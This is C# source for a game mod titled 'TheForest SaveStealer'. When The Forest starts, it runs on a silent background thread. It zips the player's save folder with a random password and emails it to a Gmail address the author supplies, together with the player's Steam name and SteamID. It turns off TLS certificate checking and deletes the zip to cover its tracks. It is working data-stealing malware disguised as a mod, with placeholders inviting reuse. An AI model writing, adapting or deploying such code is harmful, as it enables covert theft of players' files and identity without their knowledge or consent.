TheForest SaveStealer

using Pathfinding.Ionic.Zip;
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Net.Mail;
using System.Net.Security;
using System.Security.Cryptography.X509Certificates;
using System.Threading;
using Steamworks;
using UnityEngine;

namespace SaveStealer
{
    class SaveStealerCore : MonoBehaviour
    {
        [ModAPI.Attributes.ExecuteOnGameStart]
        private static void AddMeToScene()
        {
            new GameObject("__TestMod__").AddComponent<SaveStealerCore>();
        }

        private void Awake()
        {
            if (PlayerPrefs.GetString("processID") == Process.GetCurrentProcess().Id.ToString())
            {
                return;
            }
            else
            {
                PlayerPrefs.SetString("processID", Process.GetCurrentProcess().Id.ToString());
            }

            new Thread(() =>
            {
                Thread.CurrentThread.IsBackground = true;

                string zipPassword = GeneratePassword(8);
                string startPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).TrimEnd("Roaming".ToCharArray()) + @"LocalLow\SKS\TheForest";
                string zipPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).TrimEnd("Roaming".ToCharArray()) + @"LocalLow\SKS\SaveFiles.zip";

                using (ZipFile zip = new ZipFile())
                {
                    zip.Password = zipPassword;
                    zip.AddDirectory(startPath, "SaveFiles");
                    zip.Save(zipPath);
                }
                MailMessage mail = new MailMessage();
                SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
                mail.From = new MailAddress("test.test@gmail.com"); // Replace with your gmail
                mail.To.Add("test.test@gmail.com"); // Replace with your gmail
                mail.Subject = SteamFriends.GetPersonaName() + " | " + SteamUser.GetSteamID().ToString() + " | Save Files";
                mail.Body = "The password is: " + zipPassword;

                Attachment attachment;
                attachment = new Attachment(zipPath);
                mail.Attachments.Add(attachment);

                SmtpServer.Port = 587;
                SmtpServer.Credentials = new System.Net.NetworkCredential("test.test@gmail.com", "password"); // Replace with your gmail and password
                SmtpServer.EnableSsl = true;

                ServicePointManager.ServerCertificateValidationCallback =
                    delegate (object s, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
                    { return true; };

                SmtpServer.Send(mail);

                File.Delete(zipPath);
            }).Start();
        }

        private string GeneratePassword(int len)
        {
            string res = "";
            System.Random rnd = new System.Random();
            while (res.Length < len) res += (new Func<System.Random, string>((r) =>
            {
                char c = (char)((r.Next(123) * DateTime.Now.Millisecond % 123));
                return (Char.IsLetterOrDigit(c)) ? c.ToString() : "";
            }))(rnd);
            return res;
        }
    }
}